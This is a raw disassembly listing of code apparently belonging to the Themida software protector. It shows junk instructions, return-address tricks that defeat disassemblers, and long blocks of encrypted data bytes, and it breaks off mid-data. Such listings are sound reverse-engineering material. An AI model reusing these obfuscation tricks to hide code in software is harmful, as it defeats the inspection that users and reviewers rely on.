loc_5C2C71: ; CODE XREF: Themida_:005C2C65j
popa
call dword ptr [ebp+6151D4Dh]
pusha
push eax
and si, 3E4h
pop edx
mov esi, 6731286Dh
popa
jmp loc_5C3A58
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 6199261h
and bl, 0E0h
mov ebx, 3F70C1B5h
stc
lea eax, [ebp+61888F9h]
push 0
push eax
call sub_5C2CB1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2CB1 proc near ; CODE XREF: Themida_:005C2CA9p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5C2CB1 endp
; ---------------------------------------------------------------------------
db 1Eh, 0E4h, 20h
; ---------------------------------------------------------------------------
xor cl, [ebx+153415BDh]
push es
mov [ebp+6150D11h], ecx
push eax
mov [esp], eax
push 0
push eax
call sub_5C2CE0
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2CE0 proc near ; CODE XREF: Themida_:005C2CD8p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C2CE0 endp
; ---------------------------------------------------------------------------
dd 0F88B0F4Dh, 35FF64h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E4EFC357h
dd 314F86E3h, 1503918Dh, 25896406h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5C2D33
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C2D33 proc near ; CODE XREF: Themida_:005C2D2Bp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5C2D33 endp
; ---------------------------------------------------------------------------
db 6
dd 3585FFB7h, 6A061515h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 0E959C356h, 31B5AB1Bh
dd 8D295C80h, 61518D9h, 0FE9FF6Ah, 4F000000h, 0EED9B8CEh
dd 0F4673A6Dh, 402B2601h, 0BD2BE1AFh, 61500F1h, 10F1B5FFh
dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 8EA6DCC3h, 0FF57A119h, 1508BD95h, 0FCE906h
dd 81660000h, 0B0131DC7h, 68C0F00h, 3000000h, 150A2DBDh
dd 6670E606h, 0E4C6B8BFh, 613CFC71h, 0D8830Fh, 0FF50000h
dd 6BAC8B6h, 1000000h, 151D01B5h, 89C18B06h, 15169D9Dh
dd 4E8C106h, 6DBD8Bh, 0F7660615h, 1BD89E2h, 2B061524h
dd 0FDBD8BC8h, 8B061510h, 28B0FD1h, 60000000h, 0F58D8961h
dd 0E9061518h, 6, 1DE5BD89h, 858B0615h, 6152C69h, 899D8B56h
dd 5B061500h, 8B07C083h, 1511219Dh, 0C08306h, 830FD03Bh
dd 15h, 1A618D89h, 5FE90615h, 0F000000h, 486h, 0AABB6600h
dd 798D8B22h, 8B061510h, 150AA9BDh, 1E18306h, 40840Fh
dd 0A5830000h, 6151079h, 14E8FEh, 0DC9A0000h, 0A8084BB3h
dd 1924AFDDh, 0A86539EFh, 3C4B1770h, 6E84C8Ch, 65000000h
dd 80BCDE50h, 5FFE8A31h, 6995895Bh, 8B06152Ch, 15182DBDh
dd 0E906h, 0B58D0000h, 6191657h, 165D9D89h, 6A0615h, 12E8h
dd 0DF82C900h, 59EE4D2Eh, 0C5152DDAh, 0E7F68451h, 0B75A2D11h
dd 95FF5BFFh, 6152E21h, 0B9FEB70Fh, 836h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 71C35242h, 0EF273A2Dh
dd 13E97907h, 6B000000h, 58164671h, 0AC76E9AAh, 71E17062h
dd 3344F57Ch, 0BD01B8DDh, 6150CF5h, 0FCFCE183h, 0CE5BD89h
dd 0E9FC0615h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h
dd 0B8E9D7h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0DCCDC355h, 0DB80D22Bh
dd 0C233ADB9h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0D60104FCh, 3BBBA7AFh, 6C99D8Bh, 6A0615h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 560746C3h
dd 0E1852360h, 0E9061528h, 14h, 271EF01h, 0D749429h, 0B98AB433h
dd 84FDE05Bh, 9914A692h, 880D61h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 69D12EC3h
dd 8B3EDDB1h, 15272195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 427D973h, 0AD7873C2h
dd 5F5B5751h, 4CD8D8Bh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8B509DC3h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 2F75BD33h, 0BD830615h
dd 61518A9h, 6D840F00h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 31C356h
dd 9227070Dh, 0DED9D0Bh, 0B80615h, 89000000h, 151735B5h
dd 9E8D8D06h, 8906154Fh, 150AB19Dh, 6AE1FF06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 625EC351h, 5F26FD7Ah, 0DF816614h, 0DF813506h, 6C4BA87Bh
dd 1115BD83h, 0F000615h, 47B84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 43440580h
dd 0A2D8BF64h, 0BD83304Bh, 6151115h, 64840F01h, 6A000004h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 4E42C350h, 0BD8B6A26h, 6151605h, 1115BD83h
dd 0F030615h, 3FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 0F5FE20Ch, 0F60FEBFh
dd 68Ah, 0DD958900h, 66061526h, 6AD98Ch, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0E2212CC3h
dd 0E1801662h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 89064D36h, 150A5585h
dd 0D59D8B06h, 0A061521h, 0F3840FC9h, 8B000000h, 15249D85h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 74BEDD31h, 0BB67B3BFh, 4DA9524Ah, 19B58533h
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0E8ECEBC3h, 0FE95029h, 61000000h, 0A3BD6879h
dd 61808C50h, 2C2638D7h, 48971A3h, 7E924h, 0F7800000h
dd 0B9928945h, 0BF006A93h, 43E5DAB8h, 0D11E1768h, 38B0F80h
dd 66000000h, 481DF8Bh, 4DE5E824h, 89AFB37Fh, 1521E1B5h
dd 0AD95FF06h, 6A06150Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0C1ABC356h, 274D91E5h
dd 0BF998589h, 6A0618h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 353256C3h, 0E9FB17E0h, 201h, 2D99BD03h
dd 858B0615h, 618BF91h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 4AC35747h, 4AB20722h, 859BEB81h, 0C77902h
dd 18h, 55BD8950h, 5F061527h, 2E15BD29h, 0B58B0615h, 618BF95h
dd 792FBB60h, 0B2B966ECh, 613E2CAFh, 0C45858Bh, 6A0615h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0B70F3DC3h, 0D8BF66DAh, 6A06896Eh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 1265C350h
dd 8D54D9AEh, 5AB86660h, 0A5958B07h, 6106152Fh, 249D858Bh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 6315DBC3h, 0F98589D3h, 66061501h, 4689DA8Bh
dd 0BE666004h, 0E880E4D3h, 8B9661E1h, 525050FAh, 0BE85250h
dd 73000000h, 0B5ACFF7Ch, 5231F78Ch, 0F5F72EAh, 830F31h
dd 5A000000h, 0E8310F58h, 5, 6B6E0D71h, 5F616071h, 8996585Ah
dd 1526658Dh, 91B5FF06h, 0E90618BFh, 13h, 841389A4h, 27751858h
dd 70A1C890h, 98F42096h, 681F49C3h, 4F90E284h, 81D88B66h
dd 0E17B2434h, 8D894F8Fh, 6151D0Dh, 0BF99858Dh, 6A0618h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 5083B8C3h, 0C5B4F4ACh, 315241DAh, 1516B99Dh, 50905B06h
dd 0F98B6652h, 8E8310Fh, 3000000h, 295B701Ch, 66F2E6B3h
dd 5A5FD98Bh, 0FE85058h, 0F1000000h, 139675B1h, 5A11EAEBh
dd 5F61B8C6h, 0BF57BFF9h, 3F2FCE56h, 80905B5Fh, 95FF7EC7h
dd 6150DADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 0E0C35747h, 0D75094D5h, 7E96061h, 10000000h, 1811D81Ah
dd 0B58B1D04h, 61527FDh, 6A6161h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0D62456C3h, 0FD858954h
dd 0C7061509h, 15111585h, 306h, 699D0300h, 83061518h, 18BF99BDh
dd 840F0006h, 45h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 39C35242h, 0DC2C3934h, 38083BDDh, 37E9h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 0C3050CFh, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ah, 0EEC35545h, 81DCD02Ah, 0CF81C188h, 4787CACCh
dd 91DBD8Bh, 0BD830615h, 6151115h, 19850F03h, 6A000004h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0FEE0C357h, 0D9FB8E78h, 0EF81665Fh, 9D297AEAh
dd 6150A6Dh, 0BF99BD83h, 0F000618h, 3DF84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 60F0194Fh, 850F3269h, 8, 41B58B60h, 61061503h, 0BF99B5FFh
dd 0BF0F0618h, 0E195FFF8h, 6A061510h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 3EA7C357h
dd 0C2E340CFh, 0E99531E8h, 8B061517h, 18BF8DB5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 7E21B031h, 6240C8F9h, 8166753Ch, 0B7BFD8E7h, 106C779h
dd 8B000100h, 150DEDBDh, 0EABF5006h, 891E95A8h, 6A2434h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 0A579D4C3h, 531BB3F1h, 5FD9BF0Fh, 0BF99B5FFh, 9D330618h
dd 6150BF1h, 6A195FFh, 0B58B0615h, 618BF8Dh, 0BE9h, 1F11A900h
dd 0F18D271h, 0A957F6B4h, 59858Bh, 0F600615h, 68Dh, 3DB58B00h
dd 60061517h, 20C58509h, 858B0615h, 6151D11h, 86896161h
dd 0C4h, 8840Fh, 8C0F0000h, 2, 958B8FB3h, 6152721h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 98C35040h, 0A156284Dh
dd 0D55993B6h, 1858952h, 5B061515h, 6A04C283h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0A46FC351h, 7E76DB08h, 0D7EF3760h, 97CF80FCh, 80205089h
dd 858D76EBh, 618D458h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 6DC35242h, 256A44E6h, 8689B8F2h, 0B8h
dd 6AA8D380h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 36A2EAE2h, 0BEC6C8CFh, 85898E2Fh
dd 6150965h, 0BF99B5FFh, 81660618h, 0FF2C7ECFh, 151D4D95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 77BD5489h, 50F8448Bh, 0EE9h, 0FEDB1000h
dd 0CF0EC2C1h, 0F1153110h, 895D933Ah, 9D892434h, 61516C5h
dd 0FE9h, 0B37AA000h, 1F750089h, 0D3B57DB5h, 0E1C0BB7Eh
dd 0BF99B5FFh, 85890618h, 6152AEDh, 72995FFh, 0CE80615h
dd 9B000000h, 0D5F50F3Fh, 0FEFF3E57h, 0E90CEB1Dh, 13h
dd 0F0F627EBh, 1028E7C7h, 49278430h, 0CDABE4Bh, 5F5E8640h
dd 6890Fh, 9D8B0000h, 61523DDh, 65BD83h, 0F000615h, 3684h
dd 61F96000h, 98BB6650h, 243489F6h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0D8C35747h, 2FCEBCACh, 2B1141Eh
dd 0A19D8BE9h, 0FF061504h, 18BF99B5h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0BD9F56AEh, 0C2D31900h, 0FFF934F8h, 15043995h, 99B5FF06h
dd 330618BFh, 1511599Dh, 0CD95FF06h, 6A06150Dh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 0E24C351h, 60A427B9h, 26259D89h, 0B5030615h, 6151D25h
dd 5DBD8361h, 2061528h, 63840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0FA6AD3C3h
dd 65CD4CE4h, 0F1DE1E4h, 858BDAB7h, 6152849h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3EC35545h, 82CC99D1h
dd 66BE3F04h, 0E58D3161h, 0C606150Ch, 0BF510000h, 6DDC103h
dd 0F585C75Bh, 61523h, 0E9000000h, 0Ch, 0FDCA9BE4h, 4E731876h
dd 4268E8E5h, 0FFF367E9h, 55006AFFh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C9D66382h
dd 0DE829E5h, 9000000h, 90B6CCEDh, 0F29EC761h, 27A3FA43h
dd 28699D8Bh, 815B0615h, 0B9A2ECCFh, 8BC18B76h, 665651D8h
dd 5B5BFE8Bh
; ---------------------------------------------------------------------------
loc_5C3A58: ; CODE XREF: Themida_:005C2C86j
jmp loc_5C3A78
; ---------------------------------------------------------------------------
db 0D5h, 1Bh, 0C8h
dd 5Ch, 5 dup(0)
; ---------------------------------------------------------------------------
loc_5C3A78: ; CODE XREF: Themida_:loc_5C3A58j
jmp loc_5C3FA7
; ---------------------------------------------------------------------------
db 72h, 14h, 0A4h
dd 6FDF62D1h, 0AC1C9986h, 66D65AC9h, 0B222A08Fh, 0CCC7C4E3h
dd 817FE6Eh, 0D15E37A7h, 0BD720373h, 9C27CE3Eh, 52CE13B2h
dd 0ECAD169Fh, 57C72450h, 80F0525Fh, 0FC25A0BEh, 7F1086F2h
dd 82B1BCAEh, 8CA59101h, 6A77BF2Fh, 0FA1FA607h, 811086F2h
dd 7979FB0h, 199A2DA0h, 5C82CCA9h, 86F2A0E9h, 907A4B10h
dd 0ADB121A3h, 581EF5A8h, 412955BCh, 0F7FFD32h, 25951A07h
dd 3CA312F1h, 0A5B9298Bh, 83C50CB7h, 9FA81086h, 0F0E39844h
dd 2AC0EF24h, 0CB57D44Bh, 0CEBFF767h, 0C30C55F0h, 0DEEF1086h
dd 1E3EC5F1h, 521086C3h, 9F9482F2h, 906DA919h, 86B020A3h
dd 0E3CAC3h, 18319C1Dh, 97A84B95h, 701Bh, 0C724EF00h, 0CA2A8757h
dd 0FF86B05Ah, 1086F2D8h, 0A91C421Ch, 1086F260h, 577A490Bh
dd 161086F2h, 4A0D2A05h, 1F95D998h, 903F7A10h, 0A84234B9h
dd 12BC97h, 0ECF20000h, 86D63059h, 0E8B95210h, 3671BF60h
dd 69D1B98Ah, 6155C524h, 0BD81F150h, 0F2FD249Fh, 0AF801086h
dd 0E06051BBh, 43AA4670h, 56C62B9Ch, 54C42B88h, 0EE7D6D62h
dd 0C352C241h, 56C62475h, 7EEE5360h, 74BD8138h, 2C8C87F7h
dd 0E5857ABCh, 0C2EF03AAh, 0FA37D343h, 0F5101078h, 0A1397ABDh
dd 0BB38E78Eh, 0D7564B4Bh, 5ED92F67h, 607FDA6Fh, 73E597A8h
dd 0C1000000h, 6056C624h, 78BE597Eh, 11AF8A2Dh, 0CD3DB879h
dd 0DFCE55C9h, 9A298AE8h, 10860477h, 340A25F6h, 4769B2Ah
dd 24F51086h, 7AF82746h, 91170C0Ah, 1C93F521h, 124598B1h
dd 62AB97A9h, 7F000000h, 6056C624h, 0BCE5607Eh, 3F1086F2h
dd 2D8F7C6Eh, 32FC79BDh, 0F270992Ch, 2AFB1086h, 8C665940h
dd 6254C427h, 0F97CDA75h, 6F409E65h, 0BC2C8E7Bh, 0C52453D9h
dd 0CB288955h, 0D2715B5Bh, 1086F28Fh, 98725D6Eh, 0F2F7179Eh
dd 27F31086h, 0B2DBA2Eh, 503ADDABh, 66D37669h, 0EE97A8FAh
dd 1, 3DC924CAh, 5D614EBEh, 0F29DC47Fh, 5E601086h, 86F2A2E7h
dd 57784910h, 0B6879B3h, 0F1989B9Bh, 3CAC09BEh, 43B31122h
dd 1ADECCA7h, 0D571D4EAh, 68169BFCh, 0F1525F57h, 0F974BD81h
dd 9D92E189h, 0D68AE1Eh, 1693F8C6h, 0EC2A9A18h, 160070F7h
dd 662A9A1Dh, 0B413D0FFh, 1B18DA05h, 0D0412999h, 0E8720373h
dd 0BDF969CBh, 8AE92AC0h, 0A4071C1Ah, 0A8092A34h, 6901FE38h
dd 0C131B6ABh, 0F060DCD5h, 0E5D841C6h, 3BA20BFEh, 0D6BF2F8Ch
dd 0BD245ECBh, 159E69Dh, 0ABC20000h, 0D903DB0Bh, 5B3F4AFCh
dd 0BCAE2C37h, 9B2F91E1h, 1B1B2C16h, 6035A506h, 0F0A2D9FEh
dd 0BA842B49h, 70E063D0h, 5ECE2D46h, 76E64B58h, 62D23340h
dd 8A35BC34h, 0D609B059h, 532292F1h, 0BD3ADB5Eh, 82619Dh
dd 0AB350000h, 0DE00DE0Eh, 86F22267h, 12F8C910h, 0B4C124Ch
dd 589DBE2h, 0DC05A083h, 9F1086E2h, 0B8C1DC8Eh, 0E19086E2h
dd 820C23F4h, 370724AEh, 86BA458Ch, 73172890h, 0C1447243h
dd 9086BA98h, 0AFE757D6h, 0E6D040C2h, 0E7FCE34Ah, 876B52B9h
dd 8757C72Ah, 86BA95BCh, 0A3475890h, 421C4CEDh, 86BA7E83h
dd 14969B10h, 0C1D2C6A4h, 91342A34h, 1086BA48h, 1C886233h
dd 97h, 31A12112h, 0BA620805h, 6EDE624Fh, 3262167Ch, 619992Ch
dd 1B24169Ch, 73F69193h, 6BE83403h, 372C6A45h, 82B144B4h
dd 1EA59101h, 1693A0FCh, 1DAA1584h, 5F472E9Eh, 0F44F6F9Fh
dd 10B5C6FBh, 9F6DA97Ah, 78BE2E92h, 0C526E387h, 0F0538955h
dd 1CA806A9h, 6DA74354h, 9EB01F86h, 0CA94AADAh, 6E83194h
dd 91931CA8h, 0A806EF32h, 92BD8E1Ch, 66D2CDF8h, 64911A8Eh
dd 0A2BC9303h, 7508D6B5h, 9B2A0380h, 2CED976h, 5F0B24F5h
dd 5C0D4A14h, 2953EF4Dh, 0AB9C806Ah, 4003DB0Bh, 16A0924Fh
dd 13F93D0Eh, 3E2C9C1Eh, 0F3066ECDh, 773BB2B6h, 0ACA9B59Ah
dd 0AE6539C0h, 0C6A54523h, 546ADA59h, 296DDD5Fh, 0FD78B654h
dd 6D415A8Ch, 428538BFh, 6FC451C1h, 899A9C0Ch, 847FB727h
dd 9E1DAA15h, 5BD8472Eh, 0D0E1ABEBh, 1787E975h, 69012E1Fh
dd 839h, 0C1426F00h, 2F81B951h, 5ACA244Bh, 74E4475Ch, 63D33142h
dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h
dd 7AEA4F64h, 3468783Ch, 89000008h, 0E2892414h, 4C281h
dd 0EA830000h, 24148704h, 53A6685Ch, 3C890000h, 68C66824h
dd 14890000h, 7CB85024h, 400C031Ch, 0F593548h, 0E8C1657Eh
dd 233B0508h, 815005B0h, 7A792434h, 815F2A9Ah, 9A7A79F7h
dd 0F668582Ah, 8900002Fh, 4832424h, 575A0424h, 0DE240481h
dd 8F4C6655h, 0BD550842h, 4C6655DEh, 5D086A29h, 5624148Bh
dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h, 0C4835F24h
dd 0D8E8E904h, 82F9FFFBh, 93F0E22Fh, 3EA7BCD3h
db 0CFh, 40h, 0E3h
; ---------------------------------------------------------------------------
loc_5C3FA7: ; CODE XREF: Themida_:loc_5C3A78j
mov eax, 619A4DBh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 32D07A66h, 3CCE9932h, 253EAA25h, 7CB142CAh, 2D2290C7h
dd 7D64CFE1h, 1E59221Eh, 66118556h, 45EAF48Fh, 15FA55D3h
dd 3A27AA78h, 6417AC0Dh, 4AA1AFEFh, 61FC0BADh, 24D56A4Ah
dd 4426D601h, 75FF40DCh, 6DA14D00h, 18D6F7CEh, 11F6C82Bh
dd 5FAEB268h, 1F5ADEAFh, 7A579F79h, 130FBABEh, 56EF4BF8h
dd 41802100h, 279D858Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8B66D9C3h, 18589DEh
dd 90061501h, 88FEBB66h, 0EE950h, 5E5C0000h, 6B408742h
dd 8BAB01F3h, 0A4840F68h, 52006A90h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DF04A260h
dd 1EB576F0h, 8D2915C2h, 61506F1h, 33B18D09h, 6A0615h
dd 10619D8Bh, 6A0615h, 0C7DF8166h, 75858D47h, 0F90619A7h
dd 8905C083h, 1510FD85h, 0BFB75006h, 6A240489h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 6BFFC351h, 5DEBCC90h, 26B18529h, 0B5890615h, 6152DE9h
dd 8B66006Ah, 0F006ADAh, 95FFD9BFh, 6152679h, 0B8F0Fh
dd 6E90000h, 41000000h, 322908D2h, 158D8DBEh, 6A06189Ch
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 6047C353h, 1BDB589h, 8D8B0615h, 61517C9h
dd 66D1FF61h, 6742CF81h, 2DB5BD83h, 0F010615h, 5F85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 26A401Ch, 346DBD8Bh, 0F88B0615h, 50FC8A90h, 6860F90h
dd 29000000h, 151675BDh, 4D95FF06h, 6A06151Dh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 0F383C351h, 5F569C19h, 0D01E9h, 0E800h, 815D0000h, 19A77FEDh
dd 198D0F06h, 0E8000000h, 0Dh, 0FFB48686h, 85A9B54h, 79526621h
dd 298D893Bh, 5B061517h, 6840Fh, 95290000h, 6152D61h, 88F9858Dh
dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 9A04BFC3h, 1DDD8D89h, 11E90615h, 0BE000000h
dd 37DCBEF5h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 89D98B50h
dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0CA724CC3h, 0BC69122Eh, 219D8B15h, 64061503h
dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0B2B0CCC3h, 0E3207BCDh, 0ED8D89E2h
dd 8B061518h, 15269DBDh, 25896406h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5C4297
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4297 proc near ; CODE XREF: Themida_:005C428Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5C4297 endp
; ---------------------------------------------------------------------------
db 1Fh
dd 8AD88BC1h, 3585FFFEh, 6A061515h, 0BE9FFh, 7FB40000h
dd 2F0C3787h, 687C2E4Ch, 0EDB5FFC6h, 6A061533h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 465EC353h, 0FF91EEB5h, 1508BD95h, 117E906h, 0B00000h
dd 2C65BD8Bh, 70E60615h, 8D0Fh, 0BF0F0000h, 0E971E4DEh
dd 14h, 806B0F15h, 716A58D6h, 4733C637h, 63FC1642h, 0E30EEEA8h
dd 830F613Ch, 0E1h, 0CF781F8h, 0F0E79B3h, 840FC8B6h, 3
dd 0BA64DF80h, 6, 1DC99509h, 85290615h, 6150109h, 0B589C18Bh
dd 6151DFDh, 3104E8C1h, 15280DBDh, 0E2F76606h, 13E9h, 68A15000h
dd 7BCE50B5h, 0AE01AC6Bh, 54FA3A4Eh, 0D8513194h, 8531C82Bh
dd 615037Dh, 6E9D18Bh, 6D000000h, 1FE24CC3h, 0E918h, 858B0000h
dd 61519C1h, 83DA8B66h, 0B58907C0h, 61512ADh, 911BD8Bh
dd 0C0830615h, 0C58D0900h, 3B06152Fh, 10830FD0h, 66000000h
dd 3A05F381h, 44E9h, 0FDBD3300h, 8B061516h, 1511698Dh
dd 159D8906h, 83061521h, 840F01E1h, 29h, 35207ABFh, 69A5836Bh
dd 0FE061511h, 6840Fh, 9D890000h, 61524B1h, 19C19589h
dd 0BD230615h, 61518FDh, 0E9h, 0C7B58D00h, 0E9061920h
dd 7, 0F11B9F04h, 6AF63540h, 0FFDA8A00h, 152E2195h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 5DD68F33h, 0B916FAECh, 7FCh, 6E9h, 11187400h, 83F3CED8h
dd 9D8BFCE1h, 6152DB9h, 898589FCh, 2B06150Dh, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 90CAF4DAh, 0BB7804D5h, 14E29E2Ah, 61EBBB66h, 0CE9D22Bh
dd 0F4000000h, 785F1A21h, 0CBABC179h, 0AD299CD1h, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 2E45C353h, 0F8062CDBh
dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 8BCF8F02h, 52AC06FCh, 95092557h
dd 6150771h, 2961BD8Bh, 958B0615h, 6152721h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7BC35646h, 0C18D89AEh
dd 8B06150Fh, 1504CD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 2E388FB5h, 0A851E150h
dd 2DA19D89h, 8B500615h, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 6AF88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 22D51EC3h, 3959D8Bh, 9D8B0615h
dd 6151345h, 18A9BD83h, 0F000615h, 9684h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 0CD22884Ch, 834B9CEBh, 0BB663735h, 0B8711Fh, 8D000000h
dd 154F9E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 0FE901C6h, 88000000h, 0F1FF3770h
dd 1573757Ch, 8226366Bh, 0E1FFE3E6h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 2DC35747h, 352D7A32h, 27AC71B1h
dd 4DBD8BE1h, 66061502h, 835B3DBFh, 151115BDh, 840F0006h
dd 379h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 17h, 0AC35242h, 83FA9F1Dh, 151115BDh, 840F0106h, 368h
dd 1FB1BB66h, 1115BD83h, 0F030615h, 32186h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 5B3328Ah, 8E860h, 1E7B0000h, 673CD488h, 0BF60DD96h
dd 5F2B0397h, 0F4DF8166h, 665F611Ch, 0BB3D98Ch, 6604E180h
dd 0FCEDD381h, 840FC90Ah, 116h, 87EBBB66h, 249D858Bh, 6A0615h
